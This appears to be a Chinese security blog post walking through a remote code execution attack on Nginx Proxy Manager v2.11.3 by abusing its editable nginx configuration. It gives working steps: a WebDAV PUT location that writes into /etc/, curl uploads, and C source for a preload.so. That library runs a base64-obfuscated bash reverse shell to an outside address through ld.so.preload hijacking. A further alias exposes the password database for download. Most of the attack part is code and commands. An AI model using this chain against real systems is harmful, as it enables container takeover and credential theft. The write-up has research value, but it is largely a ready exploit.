Nginx Proxy Manager v2.11.3 RCE

写在前面

该漏洞并非是 NPM 项目的代码存在漏洞,而是 NPM Docker 环境的默认配置存在缺陷,在 NPM 用户拥有 HostsManage 权限的情况下,可以获取容器内的 Shell 。

搭建环境

Nginx Proxy Manager (NPM) 基于 Ubuntu + Nginx 容器化部署。

创建一个空目录,创建 docker-compose.yml 文件,内容:

1
2
3
4
5
6
7
8
9
10
11
12
version: '3.8'
services:
app:
image: 'jc21/nginx-proxy-manager:2.11.3'
restart: unless-stopped
ports:
- '80:80'
- '81:81'
- '443:443'
volumes:
- ./data:/data
- ./letsencrypt:/etc/letsencrypt

在该目录下执行以下命令,以启动容器:

1
2
docker compose up -d
# docker-compose up -d

访问 http://localhost:81/login 以进行操作。

初始用户密码:

1
2
Email:    admin@example.com
Password: changeme

具体细节参考: quick-setup

用户登录后可以设置反向代理、重定向等功能。

这些功能基本上都是基于修改 nginx.conf 文件实现的,因此以下的内容本质上都是 nginx.conf 配置安全漏洞,只不过由于该项目允许用户在前端编辑和加载配置文件而能够被利用。

当然了,搞来搞去也就是在容器里而已,没啥意思,管好用户权限就行了。

从文件写入到 RCE

允许 PUT 方式上传

首先新建一个 Proxy Host

图中 Domain Names 可以写该反代服务器的 IP 或域名,总之能够通过这个地址访问到这个容器里的反代端口即可,我们假设为 npm.example.com。其余字段随便写应该都不影响。

然后通过高级设置,自定义 nginx.conf 配置文件以允许 PUT 方式上传。

1
2
3
4
5
6
7
8
9
10
location /gupload/ {
dav_methods PUT;
alias /etc/;
limit_except PUT {
deny all;
}
client_max_body_size 100M;
dav_access user:rw;
autoindex on;
}

现在我们可以通过向 URL http://npm.example.com/gupload/filename 发送 PUT 请求来将文件上传到 /etc/ 目录,上传后的文件名应该为 filename

1
curl -X PUT -d "1" http://npm.example.com/gupload/1.txt

可以看到文件能够被上传到容器内:

关于 ld.so.preload 劫持

理论上我可以通过 写 SSH 私钥写 Crontab 的方式来实现命令执行,但是为什么要用 ld.so.preload 方式呢?

首先,这是个容器环境,没有 ssh 服务,所以写私钥没意义。

其次,这个容器基于 Ubuntu,尽管我们通过 dav_access user:rw; 指定了文件权限为 0600,但是这容器没开 cron 服务,执行不了命令。

ld.so.preload 方案则非常通用。我们不需要给上传的运行库文件设置什么权限,同时 ld.so.preload 文件中允许指定任意位置的 so。最重要的是,大部分进程在执行的时候都会预加载这个 so,十分甚至九分地好用。

编译 Preload.so

源码: preload.c 文件

1
2
3
4
5
6
7
8
9
//preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(void) {
unsetenv("LD_PRELOAD");
unlink("/etc/ld.so.preload");
system("echo \"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvOTA5MCAwPiYx\" | base64 -d | bash -i");
}

编译:

1
gcc -fPIC -shared -o preload.so preload.c -nostartfiles -ldl

上传 Preload.so

依次执行以下两个命令

1
2
curl -T "preload.so" http://npm.example.com/gupload/preload.so
curl -X PUT -d "/etc/preload.so" http://npm.example.com/gupload/ld.so.preload

执行后,preload.sold.so.preload 文件应该被会上传到 /etc/ 路径下。

执行

成功上传后,理论上此时执行任何二进制程序,都会导致恶意 .so 被执行。

开启监听端口:

1
nc -lvp 9090

根据项目代码,在 WebUI 中,保存配置、禁用和启用配置会造成执行 nginx 命令:

项目代码:

所以只要禁用配置,就可以执行 nginx 程序,同时造成执行恶意 so 文件以及里面的反弹 Shell 命令。

文件读取

相对于 RCE,这个功能显得不是很危险。

同样的修改 nginx.conf 配置文件。

1
2
3
location /ggimgs { 
alias /data/database.sqlite;
}

这样我们就可以通过访问 http://npm.example.com/ggimgs 来下载容器内的 database.sqlite 文件。

这个文件是 npm 的数据库,里面保存了用户密码。同理也可以下载别的文件(也没别的什么有用的文件了)。


Nginx Proxy Manager v2.11.3 RCE
https://estamelgg.github.io/SecLabBlog/2024/08/26/nginx_proxy_manager_rce/
作者
Estamel GG
发布于
2024年8月26日
许可协议